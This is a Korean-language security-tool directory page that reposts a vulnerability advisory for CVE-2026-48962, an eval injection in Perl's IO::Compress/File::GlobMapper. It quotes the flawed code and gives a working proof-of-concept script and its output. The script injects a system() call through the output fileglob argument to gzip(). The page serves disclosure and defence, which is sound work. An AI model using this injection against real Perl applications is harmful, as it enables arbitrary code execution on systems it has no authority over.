Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/joakimbulow/cve-2026-48962
Vulnerability AnalysisCode AnalysisExploitationPapers & ResearchLearning & Education
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - 코드 실행

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

요약

File::GlobMapper::_getFiles()의 eval 주입 취약점으로 인해, IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() 또는 그 자매 함수에 전달되는 출력 fileglob 인자를 제어할 수 있는 모든 공격자는 실행 중인 프로세스의 컨텍스트에서 임의의 Perl 코드를 실행할 수 있습니다. 인증은 필요하지 않습니다. 영향은 완전합니다. 호스트 프로세스의 기밀성, 무결성 및 가용성이 모두 완전히 손상됩니다.


세부 정보

File::GlobMapper::_parseOutputGlob()은 호출자가 제공한 출력 패턴을 Perl 큰따옴표로 감싼 뒤 그 결과를 저장하여 출력 파일명 템플릿을 생성합니다. 그런 다음 _getFiles()는 해당 문자열을 어떠한 검증(sanitisation)도 없이 eval에 직접 전달합니다:

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper는 IO::Compress::* / IO::Uncompress::* 함수의 입력 및 출력 인자가 모두 fileglob 문자열(< >로 구분)일 때마다 자동으로 호출됩니다. 이는 문서화된 일반적인 호출 규약입니다. 영향을 받는 함수에는 gzip, zip, bzip2, deflate, rawdeflate 및 모든 IO::Uncompress::* 대응 함수가 포함됩니다.

주변의 큰따옴표로 묶인 Perl 문자열을 닫는 모든 문자 — 리터럴 ", 백틱, ${...} 또는 @{...} — 뒤에 오는 임의의 Perl 코드는 그대로 실행됩니다.


PoC

poc.pl로 저장하고 perl poc.pl로 실행하십시오:

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

예상 출력:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04에서 확인됨.


영향

이는 원격 코드 실행 취약점입니다. 사용자 입력을 받아 이를 출력 fileglob 인자로 모든 IO::Compress::* 함수에 전달하는 모든 웹 애플리케이션, API 서비스, CLI 도구 또는 배치 처리 파이프라인이 취약합니다. 주입된 코드는 호출 프로세스의 전체 권한으로 실행됩니다.

영향을 받는 대상: fileglob 호출 규약과 함께 IO::Compress::* 함수를 사용하고 출력 패턴이 신뢰할 수 없는 입력(예: 웹 양식의 파일명 템플릿, REST API 매개변수, CLI 인자 또는 권한이 없는 사용자가 제어하는 구성 파일)에서 파생되는 Perl 애플리케이션의 개발자 및 운영자.

setuid 또는 권한 있는 데몬 컨텍스트에서는 상승된 권한 수준에서 코드 실행이 가능합니다. 이 버그는 File::GlobMapper의 최초 출시(≈ 2005)부터 존재해 왔으며, perl 패키지를 제공하는 모든 Linux 배포판에 존재합니다.

참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
도구 다운로드